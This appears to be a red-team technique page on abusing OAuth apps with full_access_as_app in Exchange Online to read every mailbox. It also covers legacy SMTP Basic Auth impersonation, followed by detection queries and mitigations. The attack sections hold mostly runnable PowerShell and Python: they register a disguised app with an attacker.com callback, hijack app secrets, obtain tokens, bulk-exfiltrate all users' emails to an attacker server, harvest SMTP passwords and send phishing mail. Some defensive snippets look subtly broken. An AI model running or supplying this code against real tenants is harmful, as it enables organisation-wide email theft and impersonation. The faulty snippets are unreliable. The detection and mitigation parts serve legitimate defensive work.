| Attribute | Details |
|---|---|
| Technique ID | CA-TOKEN-011 |
| MITRE ATT&CK v18.1 | T1528: Steal Application Access Tokens and T1114: Email Collection |
| Tactic | Credential Access, Collection |
| Platforms | M365 (Exchange Online), Entra ID, Cross-Platform |
| Severity | Critical |
| CVE | N/A (OAuth design flaw, not formal vulnerability; related to Midnight Blizzard exploitation) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-08 |
| Affected Versions: | Exchange Online (all versions), Microsoft 365 (all versions), Entra ID (all versions) |
| Patched In | N/A (RBAC application impersonation deprecated May 2024; EWS OAuth enforced October 2026) |
| Author | SERVTEP – Artur Pchelnikau |
Note: This technique involves OAuth application compromise or malicious app creation to gain full_access_as_app permission on Exchange Online, allowing access to all user mailboxes via Exchange Web Services (EWS) without authentication. Historic SMTP Basic Auth exploitation is being deprecated (March-April 2026) in favor of OAuth. All sections renumbered based on applicability.
Exchange Online is Microsoft’s cloud-hosted email service that authenticates users and applications using OAuth 2.0. When an OAuth application is granted the full_access_as_app permission role, it gains the ability to access ALL user mailboxes in the organization via Exchange Web Services (EWS) without requiring the mailbox owner to authenticate. An attacker who compromises or creates such an OAuth application can read, delete, and forward emails for every user in the organization, establish persistence through email rules and forwarding, and exfiltrate sensitive organizational data.
Additionally, legacy SMTP Basic Authentication (username/password) has historically allowed compromised accounts or devices to send emails impersonating users, but Microsoft is deprecating Basic Auth for SMTP completely by April 30, 2026, forcing migration to OAuth-based authentication.
Attack Surface: OAuth applications with elevated permissions (full_access_as_app, Mail.Read, Mail.ReadWrite scopes); compromised service principal credentials; legacy SMTP Basic Auth accounts (until April 2026). Attackers can compromise applications through phishing, consent grant attacks, or direct compromise of service principal credentials stored in configuration files or environment variables.
Business Impact: Complete access to organization-wide email, ability to read all messages, exfiltrate sensitive data, send emails impersonating any user, and establish persistent backdoor access through email forwarding rules and delegates. An attacker can read confidential business deals, legal documents, HR records, financial data, and communication with external partners—all without triggering typical user notification mechanisms.
Technical Context: The Midnight Blizzard attack (January 2024) demonstrated this technique at scale, compromising a test OAuth application and using it to access Microsoft’s own corporate emails. The attacker created additional OAuth applications and used residential proxies to mask their identity while accessing EWS. Modern Exchange Online no longer supports the highest-risk permission assignments (application impersonation role), but legacy organizations and applications may still have these permissions assigned. EWS itself will be deprecated in October 2026, but until then remains a valid and commonly used attack vector.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 18.1.1 / 18.2 | OAuth app governance; restrict high-risk permissions |
| DISA STIG | SRG-APP-000494-WSR-000062 | Multi-factor authentication for sensitive operations |
| CISA SCuBA | SC-7(8) / AC-6(1) | Cloud identity and access controls; least privilege |
| NIST 800-53 | AC-3(15) / IA-5 | Access control for organizational data; credential management |
| GDPR | Article 32 | Security of processing; encryption of personal data in transit |
| DORA | Article 9 | Key management; authorized access controls |
| NIS2 | Article 21 | Incident response and anomaly detection |
| ISO 27001 | A.9.2.2 / A.14.2.3 | User provisioning and authentication; secure development |
| ISO 27005 | Risk Scenario: “OAuth Application Compromise” | Access control and monitoring |
Supported Versions:
Tools:
# Check Exchange Online applications with elevated permissions
Connect-ExchangeOnline -UserPrincipalName admin@contoso.com
# List all OAuth applications with ApplicationImpersonation role
Get-ManagementRoleAssignment -Role "ApplicationImpersonation" -GetEffectiveUsers
# Identify apps with full_access_as_app permission (Midnight Blizzard indicator)
$AppId = "00000002-0000-0ff1-ce00-000000000000" # Exchange Online app ID
Get-ServicePrincipal | Where-Object {
$_.ServicePrincipalId -in (Get-MgServicePrincipalAppRoleAssignment).ResourceId
} | Select-Object DisplayName, AppId, ServicePrincipalId
# Check for suspicious EWS access patterns
$EWSLogs = Get-MailboxAuditBypassAssociation
$EWSLogs | Where-Object { $_.AuditBypassEnabled -eq $true } | Select-Object Identity
What to Look For:
ApplicationImpersonation or full_access_as_app roles assigned.# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Application.Read.All", "RoleManagement.Read.Directory"
# List all OAuth applications in the tenant
Get-MgApplication | Select-Object DisplayName, AppId, PublisherName | Format-Table
# Check for malicious or suspicious OAuth app permissions
Get-MgServicePrincipal -Filter "servicePrincipalType eq 'Application'" |
ForEach-Object {
Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $_.Id |
Where-Object { $_.AppRoleId -eq "dc890d15-9560-4a4c-9b7f-a736ec74ec40" } # full_access_as_app GUID
}
# List recently created applications (potential backdoors)
Get-MgApplication | Where-Object { $_.CreatedDateTime -gt (Get-Date).AddDays(-30) } |
Select-Object DisplayName, CreatedDateTime, AppId
What to Look For:
full_access_as_app or similar high-privilege permissions.Supported Versions: Exchange Online all versions, Entra ID all versions
Objective: Either compromise an existing OAuth application with elevated permissions or create a new malicious application.
Command (PowerShell - Create Malicious OAuth App):
# Register a new OAuth application in Entra ID
Connect-MgGraph -Scopes "Application.ReadWrite.All"
$AppParams = @{
DisplayName = "Exchange Integration Manager" # Legitimate-sounding name
PublicClient = $false
RequiredResourceAccess = @(
@{
ResourceAppId = "00000002-0000-0ff1-ce00-000000000000" # Exchange Online
ResourceAccess = @(
@{
Id = "dc890d15-9560-4a4c-9b7f-a736ec74ec40" # full_access_as_app
Type = "Role"
}
)
}
)
Web = @{
RedirectUris = @("http://localhost:3000", "https://attacker.com/callback")
}
}
$OAuthApp = New-MgApplication @AppParams
$AppId = $OAuthApp.AppId
Write-Host "[+] OAuth App created: $AppId"
# Create a client secret for authentication
$SecretParams = @{
ServicePrincipalId = (Get-MgServicePrincipal -Filter "appId eq '$AppId'").Id
}
$ClientSecret = Add-MgServicePrincipalPassword -ServicePrincipalId $SecretParams.ServicePrincipalId
Write-Host "[+] Client Secret: $($ClientSecret.SecretText)"
Command (PowerShell - Compromise Existing OAuth App):
# If application already exists and is compromised, rotate its secret
$AppId = "compromised-app-id"
$ServicePrincipalId = (Get-MgServicePrincipal -Filter "appId eq '$AppId'").Id
# Remove old secrets
Get-MgServicePrincipalPasswordCredential -ServicePrincipalId $ServicePrincipalId |
Remove-MgServicePrincipalPassword -ServicePrincipalId $ServicePrincipalId
# Add new secret owned by attacker
$NewSecret = Add-MgServicePrincipalPassword -ServicePrincipalId $ServicePrincipalId
Write-Host "[+] New Client Secret: $($NewSecret.SecretText)"
Expected Output:
[+] OAuth App created: 11111111-2222-3333-4444-555555555555
[+] Client Secret: super_secret_client_secret_value_here
What This Means:
full_access_as_app permission to access all Exchange mailboxes.OpSec & Evasion:
full_access_as_app assignments).Objective: Obtain admin consent for the full_access_as_app permission, which is required for the app to access all mailboxes.
Command (PowerShell - Grant Admin Consent):
# Get the service principal for the OAuth app
$ServicePrincipalId = (Get-MgServicePrincipal -Filter "appId eq '$AppId'").Id
# Get the Exchange Online service principal ID
$ExchangeServicePrincipalId = (Get-MgServicePrincipal -Filter "displayName eq 'Office 365 Exchange Online'").Id
# Assign the full_access_as_app role to the OAuth app
$RoleDefinition = @{
AppRoleId = "dc890d15-9560-4a4c-9b7f-a736ec74ec40" # full_access_as_app
PrincipalType = "ServicePrincipal"
PrincipalId = $ServicePrincipalId
ResourceId = $ExchangeServicePrincipalId
}
New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $ExchangeServicePrincipalId @RoleDefinition
Write-Host "[+] full_access_as_app role assigned to OAuth app"
Alternative Method (Admin Consent Screen):
# If you have a user account with admin rights, trigger admin consent via OAuth flow
$TenantId = "contoso.onmicrosoft.com"
$AppId = "11111111-2222-3333-4444-555555555555"
$ConsentURL = "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/authorize?client_id=$AppId&redirect_uri=http://localhost:3000&response_type=code&scope=.default&prompt=admin_consent"
Write-Host "Open this URL and click 'Accept' to grant admin consent:"
Write-Host $ConsentURL
Expected Output:
[+] full_access_as_app role assigned to OAuth app
What This Means:
OpSec & Evasion:
full_access_as_app grants).Objective: Use the OAuth application credentials to obtain an access token for Exchange Online.
Command (PowerShell - Get OAuth Token):
# OAuth token endpoint
$TokenURL = "https://login.microsoftonline.com/contoso.onmicrosoft.com/oauth2/v2.0/token"
# OAuth app credentials
$ClientId = "11111111-2222-3333-4444-555555555555"
$ClientSecret = "super_secret_client_secret_value_here"
$TenantId = "contoso.onmicrosoft.com"
# Request access token
$Body = @{
grant_type = "client_credentials"
client_id = $ClientId
client_secret = $ClientSecret
scope = "https://outlook.office365.com/.default"
}
$TokenResponse = Invoke-RestMethod -Uri $TokenURL -Method POST -Body $Body -ContentType "application/x-www-form-urlencoded"
$AccessToken = $TokenResponse.access_token
Write-Host "[+] Access Token obtained (expires in $($TokenResponse.expires_in) seconds)"
Write-Host "[+] Token: $($AccessToken.Substring(0, 50))..."
Expected Output:
[+] Access Token obtained (expires in 3600 seconds)
[+] Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJodH...
What This Means:
OpSec & Evasion:
Objective: Use the OAuth token to access mailboxes via EWS and exfiltrate emails.
Command (PowerShell - List All Mailboxes and Read Emails):
# EWS API endpoint
$EWSEndpoint = "https://outlook.office365.com/EWS/Exchange.asmx"
# Prepare authorization header with OAuth token
$Headers = @{
"Authorization" = "Bearer $AccessToken"
"Content-Type" = "application/soap+xml"
}
# SOAP request to list all mailboxes (using full_access_as_app capability)
$SOAPBody = @"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types">
<soap:Header>
<t:RequestServerVersion Version="Exchange2016"/>
</soap:Header>
<soap:Body>
<t:GetFolder>
<t:FolderIds>
<t:DistinguishedFolderId Id="inbox"/>
</t:FolderIds>
<t:FolderShape>
<t:BaseShape>AllProperties</t:BaseShape>
</t:FolderShape>
</t:GetFolder>
</soap:Body>
</soap:Envelope>
"@
# Make EWS API call
$Response = Invoke-RestMethod -Uri $EWSEndpoint -Method POST -Headers $Headers -Body $SOAPBody
# Parse and display results
Write-Host "[+] Mailbox Inbox accessed successfully"
Write-Host "[+] Response: $($Response | ConvertTo-Json)"
Command (Python - Bulk Email Exfiltration):
#!/usr/bin/env python3
import requests
from exchangelib import Account, Configuration, OAuth2Credentials, DELEGATE
# OAuth credentials
client_id = "11111111-2222-3333-4444-555555555555"
client_secret = "super_secret_client_secret_value_here"
tenant_id = "contoso.onmicrosoft.com"
access_token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9..." # From Step 3
# Enumerate all users in the organization
# Using Microsoft Graph API with the OAuth token
graph_url = "https://graph.microsoft.com/v1.0/users"
headers = {
"Authorization": f"Bearer {access_token}",
"Content-Type": "application/json"
}
response = requests.get(graph_url, headers=headers)
users = response.json()['value']
print(f"[+] Found {len(users)} users in organization")
# For each user, attempt to access their mailbox via EWS
for user in users:
user_email = user.get('userPrincipalName')
if user_email:
print(f"[+] Accessing mailbox: {user_email}")
# Use ExchangeLib library to connect as the OAuth app
# and access the user's mailbox with full_access_as_app
try:
config = Configuration(
server='outlook.office365.com',
credentials=OAuth2Credentials(
client_id=client_id,
client_secret=client_secret,
tenant_id=tenant_id,
auth_url='https://login.microsoftonline.com',
),
auth_type=DELEGATE,
)
account = Account(
primary_smtp_address=user_email,
config=config,
autodiscover=False,
)
# Access inbox and exfiltrate emails
for email in account.inbox.all():
print(f" From: {email.sender.email_address}")
print(f" Subject: {email.subject}")
print(f" Body (first 200 chars): {email.body[:200]}")
print("---")
# Save emails to attacker's server
exfiltrate_email(email, attacker_c2_server)
except Exception as e:
print(f"[-] Error accessing {user_email}: {e}")
Expected Output:
[+] Mailbox Inbox accessed successfully
[+] Found 5000 users in organization
[+] Accessing mailbox: user1@contoso.com
From: external.partner@example.com
Subject: Q1 2025 Financial Results - CONFIDENTIAL
Body (first 200 chars): The Q1 2025 results show a 15% increase in revenue driven by...
---
[+] Accessing mailbox: user2@contoso.com
From: legal@contoso.com
Subject: Merger Acquisition Details - CONFIDENTIAL
...
What This Means:
OpSec & Evasion:
Supported Versions: Exchange Online (until April 30, 2026), applicable to any device/application using SMTP AUTH
Objective: Obtain SMTP credentials (username/password) for an account in the organization.
Command (PowerShell - Extract SMTP Creds from Configuration Files):
# Search for SMTP credentials hardcoded in config files
$SearchPaths = @(
"C:\Program Files\",
"C:\Program Files (x86)\",
"C:\Users\*\Documents\",
"C:\Users\*\Desktop\"
)
foreach ($Path in $SearchPaths) {
Get-ChildItem -Path $Path -Recurse -Include "*.config", "*.txt", "*.ps1", "*.json" -ErrorAction SilentlyContinue |
Select-String -Pattern "smtp.*password|smtp.*credential|SMTP.*AUTH" -ErrorAction SilentlyContinue |
Select-Object Filename, Line
}
Alternative: Compromise User Account via Phishing
# Or, use compromised credentials obtained via phishing
$SMTPUser = "compromised.user@contoso.com"
$SMTPPassword = "P@ssw0rd123!"
$SMTPServer = "smtp.office365.com"
$SMTPPort = 587
Objective: Use SMTP Basic Auth to send emails on behalf of the compromised account.
Command (PowerShell - Send Email via SMTP Basic Auth):
# SMTP credentials
$SMTPUser = "compromised.user@contoso.com"
$SMTPPassword = "P@ssw0rd123!"
$SMTPServer = "smtp.office365.com"
$SMTPPort = 587
# Convert password to secure string
$SecurePassword = ConvertTo-SecureString $SMTPPassword -AsPlainText -Force
$Credential = New-Object PSCredential($SMTPUser, $SecurePassword)
# Prepare phishing email
$EmailParams = @{
From = $SMTPUser
To = "executive@contoso.com"
Subject = "Urgent: Board Meeting Rescheduled"
Body = "The board meeting has been rescheduled to tomorrow at 2 PM. Please confirm attendance."
SmtpServer = $SMTPServer
Port = $SMTPPort
UseSsl = $true
Credential = $Credential
}
# Send the phishing email
Send-MailMessage @EmailParams
Write-Host "[+] Phishing email sent successfully from $SMTPUser"
Command (Python/Bash - Send Email via SMTP):
#!/usr/bin/env python3
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
# SMTP credentials
smtp_user = "compromised.user@contoso.com"
smtp_password = "P@ssw0rd123!"
smtp_server = "smtp.office365.com"
smtp_port = 587
# Create email
msg = MIMEMultipart()
msg['From'] = smtp_user
msg['To'] = "executive@contoso.com"
msg['Subject'] = "Urgent: Board Meeting Rescheduled"
body = "The board meeting has been rescheduled to tomorrow at 2 PM. Please confirm attendance."
msg.attach(MIMEText(body, 'plain'))
# Send via SMTP
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
server.send_message(msg)
server.quit()
print("[+] Phishing email sent successfully from", smtp_user)
except Exception as e:
print(f"[-] Error sending email: {e}")
Expected Output:
[+] Phishing email sent successfully from compromised.user@contoso.com
What This Means:
Note: Deprecation Timeline
Atomic Test ID: T1114-002 (Email Collection: Remote Email Collection) / T1114-003 (Email Forwarding Rule)
Test Name: Office 365 – Remote Mail Collection via OAuth; Create Email Forwarding Rule
Description: Simulates compromised OAuth app accessing mailboxes via EWS and creating email forwarding rules for persistence.
Supported Versions: Exchange Online all versions, PowerShell 5.0+
Execution:
# Step 1: Install Atomic Red Team
$AtomicPath = "C:\temp\atomic-red-team"
git clone https://github.com/redcanaryco/atomic-red-team $AtomicPath
cd "$AtomicPath\atomics\T1114"
# Step 2: Execute T1114-002 (Remote Email Collection)
Invoke-AtomicTest T1114 -TestNumbers 2 -Verbose
# Step 3: Execute T1114-003 (Email Forwarding Rule)
Invoke-AtomicTest T1114 -TestNumbers 3 -Verbose
Cleanup Command:
# Remove email forwarding rules created during test
Get-InboxRule | Where-Object { $_.Name -like "*Test*" } | Remove-InboxRule -Confirm:$false
# Revoke OAuth app access (if test created an app)
# Requires Azure AD admin role
Get-MgServicePrincipal | Where-Object { $_.DisplayName -like "*Test*" } | Remove-MgServicePrincipal
Reference: Atomic Red Team T1114 Tests
Version: 3.0+
Supported Platforms: Windows, Linux, macOS
Minimum Version: 2.0
Installation:
Install-Module -Name ExchangeOnlineManagement -Repository PSGallery -Force -AllowClobber
Usage:
# Connect to Exchange Online
Connect-ExchangeOnline -UserPrincipalName admin@contoso.com
# List mailboxes
Get-Mailbox
# Search mailbox content
Search-Mailbox -Identity user@contoso.com -SearchQuery "password OR credential" -TargetMailbox archivemailbox@contoso.com
# Create forwarding rule (attacker perspective)
New-InboxRule -Name "Archive" -From * -MoveToFolder "Deleted Items"
Version: 2.0+
Supported Platforms: Windows, Linux, macOS
Installation:
Install-Module Microsoft.Graph -Repository PSGallery
Usage:
Connect-MgGraph -Scopes "Application.ReadWrite.All", "RoleManagement.Read.Directory"
# List OAuth applications
Get-MgApplication
# Check app permissions
Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $ServicePrincipalId
Rule Configuration:
KQL Query:
AuditLogs
| where LoggedByService =~ "Core Directory"
| where Category =~ "ApplicationManagement"
| where OperationName =~ "Consent to application" or OperationName =~ "Update application."
| where TargetResources has "full_access_as_app" or TargetResources has "dc890d15-9560-4a4c-9b7f-a736ec74ec40"
| mv-expand TargetResources
| extend AppName = TargetResources.displayName
| extend Permissions = TargetResources.modifiedProperties
| extend GrantedBy = InitiatedBy.user.userPrincipalName
| project TimeGenerated, AppName, Permissions, GrantedBy, InitiatedBy, TargetResources
| where isnotempty(GrantedBy) or isnotempty(InitiatedBy.app.displayName)
What This Detects:
full_access_as_app permission to OAuth applications.Manual Configuration Steps (Azure Portal):
Critical: full_access_as_app Permission Assigned to ApplicationCritical5 minutes24 hoursRule Configuration:
KQL Query:
OfficeActivity
| where OfficeWorkload == "Exchange"
| where Operation in ("GetDelegate", "ExternalRecipientTips", "Set-Mailbox", "New-InboxRule", "Set-InboxRule")
| where LogonUserSid != "" or AppId != "" // Service principal or app activity
| where not(UserId has_any ("svc_", "srv_", "app_")) // Exclude known service accounts
| summarize AccessCount = count(), TargetMailboxes = dcount(MailboxOwnerMasterAccountSid) by UserId, AppId, SourceIPAddress
| where AccessCount > 100 or TargetMailboxes > 5
What This Detects:
Event ID: 4625 (Failed Logon), Event ID: 4768 (Kerberos Authentication Ticket Requested)
For Exchange Online, monitoring is primarily cloud-based via Azure audit logs rather than Windows event logs. However, on-premises Exchange servers may generate relevant logs:
Manual Configuration Steps (Group Policy - On-Premises Exchange):
gpupdate /forceAlert Name: Suspicious modification to mailbox delegation settings detected
Manual Configuration Steps:
Operation: New-InboxRule, Set-InboxRule, Set-Mailbox, Add-MailboxDelegate
PowerShell Query:
Connect-ExchangeOnline
# Search for suspicious mailbox rules created by OAuth apps
Search-UnifiedAuditLog -Operations "New-InboxRule", "Set-InboxRule" -StartDate (Get-Date).AddDays(-7) |
Where-Object { $_.UserId -like "*\#EXT\#*" -or $_.ClientIP -eq "ServiceToPrincipal" } |
Export-Csv -Path "C:\Audit\Suspicious_Rules.csv"
# Search for delegate access changes
Search-UnifiedAuditLog -Operations "Add-MailboxDelegate", "Remove-MailboxDelegate" -StartDate (Get-Date).AddDays(-1) |
Export-Csv -Path "C:\Audit\Delegate_Changes.csv"
# Search for mailbox exports (data exfiltration indicator)
Search-UnifiedAuditLog -Operations "Export-Mailbox" -StartDate (Get-Date).AddDays(-7) |
Export-Csv -Path "C:\Audit\Mailbox_Exports.csv"
New-InboxRule, Set-InboxRule, Get-Mailbox, Export-Mailbox, New-MailboxExportRequestUserId: Account performing operationClientIP: Source IP addressOperation: Specific action (New-InboxRule, Set-Mailbox)MailboxOwner: Target mailboxParameters: Rule details (forwarding address, etc.)Mitigation 1: Restrict OAuth Application Permissions
Prevent assignments of full_access_as_app role to applications.
Applies To Versions: Entra ID, Exchange Online (all versions)
Manual Steps (PowerShell):
# List all apps with full_access_as_app role
Get-MgServicePrincipal | Where-Object {
$AppId = $_.Id
(Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $AppId |
Where-Object { $_.AppRoleId -eq "dc890d15-9560-4a4c-9b7f-a736ec74ec40" }).Count -gt 0
} | Select-Object DisplayName, AppId
# Remove full_access_as_app role from app
Remove-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $ServicePrincipalId -AppRoleAssignmentId $AssignmentId
Manual Steps (Entra ID Admin Center):
full_access_as_appMitigation 2: Enable Conditional Access for OAuth Apps
Restrict OAuth application access based on device compliance, location, and risk.
Manual Steps:
Block OAuth Apps from Non-Compliant DevicesMitigation 3: Disable SMTP Basic Auth (Proactive for Post-April 2026)
Organizations should begin migration to OAuth-based SMTP immediately.
Manual Steps (PowerShell - Identify Basic Auth Usage):
# Check which clients are using Basic Auth for SMTP
Get-SMTPClientReport -SendSummary -Earliest -30days -SendFromMailbox all@contoso.onmicrosoft.com
Manual Steps (Migration to OAuth):
Mitigation 4: Audit and Monitor OAuth Application Consent
Review all granted permissions and remove unnecessary applications.
Manual Steps:
# Export all granted OAuth applications
Get-MgServicePrincipal -Filter "servicePrincipalType eq 'Application'" |
Export-Csv -Path "C:\Audit\All_OAuth_Apps.csv"
# Audit admin-consented apps
Get-MgApplication | Where-Object { $_.ReplyUrls.Count -gt 0 } |
Select-Object DisplayName, AppId, CreatedDateTime |
Export-Csv -Path "C:\Audit\Admin_Consented_Apps.csv"
Mitigation 5: Implement MFA for Admin Consent
Require MFA when admins grant permissions to OAuth applications.
Manual Steps (Conditional Access):
Require MFA for OAuth App ConsentMitigation 6: Validation Command
Verify defensive controls are in place.
# Check if any apps have full_access_as_app role
$AppsWithFullAccess = Get-MgServicePrincipal | Where-Object {
(Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $_.Id |
Where-Object { $_.AppRoleId -eq "dc890d15-9560-4a4c-9b7f-a736ec74ec40" }).Count -gt 0
}
if ($AppsWithFullAccess.Count -eq 0) {
Write-Host "[+] No apps have full_access_as_app role (secure)" -ForegroundColor Green
} else {
Write-Host "[-] Found $($AppsWithFullAccess.Count) apps with full_access_as_app role" -ForegroundColor Red
}
# Check if MFA is enabled for admin users
$AdminUsers = Get-MgUser -Filter "assignedLicenses/any(x:x/skuId eq 'skuId')" | Where-Object { IsAdmin -eq $true }
foreach ($User in $AdminUsers) {
$MFAStatus = Get-MsolUser -UserPrincipalName $User.UserPrincipalName | Select-Object StrongAuthenticationMethods
if ($MFAStatus.StrongAuthenticationMethods.Count -eq 0) {
Write-Host "[-] Admin $($User.UserPrincipalName) does NOT have MFA enabled" -ForegroundColor Red
}
}
Expected Output (If Secure):
[+] No apps have full_access_as_app role (secure)
[+] All admins have MFA enabled
full_access_as_app role, apps from unknown publishers# Immediately revoke all OAuth apps with suspicious permissions
Get-MgServicePrincipal -Filter "servicePrincipalType eq 'Application'" |
Where-Object {
(Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $_.Id |
Where-Object { $_.AppRoleId -eq "dc890d15-9560-4a4c-9b7f-a736ec74ec40" }).Count -gt 0
} | Remove-MgServicePrincipal
# Revoke all active sessions for all users
Revoke-MgUserSignInSession -UserId (Get-MgUser -All).Id
# Force password reset for all users
Get-MgUser -All | Update-MgUser -PasswordProfile @{ForceChangePasswordNextSignIn = $true}
# Export audit logs for compromise window
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) |
Export-Csv -Path "C:\Evidence\Full_Audit_Log.csv"
# Export OAuth app consent history
Get-MgServicePrincipal -Filter "servicePrincipalType eq 'Application'" |
Export-Csv -Path "C:\Evidence\OAuth_Apps.csv"
# List all email forwarding rules (check for attacker-created rules)
Get-InboxRule -Mailbox * | Export-Csv -Path "C:\Evidence\Inbox_Rules.csv"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-002] Consent Grant OAuth Attacks | Attacker phishes admin to grant OAuth permissions |
| 2 | Credential Access | [CA-TOKEN-011] Exchange OAuth Token Theft | Attacker uses OAuth app to access mailboxes via EWS |
| 3 | Collection | [T1114] Email Collection | Attacker exfiltrates sensitive emails from all users |
| 4 | Persistence | [T1114.003] Email Forwarding Rule | Attacker creates forwarding rule to maintain access |
| 5 | Impact | Internal phishing, data exfiltration | Attacker uses stolen emails for follow-on attacks |
full_access_as_app; used residential proxies to access EWSRelated Techniques in MCADDF: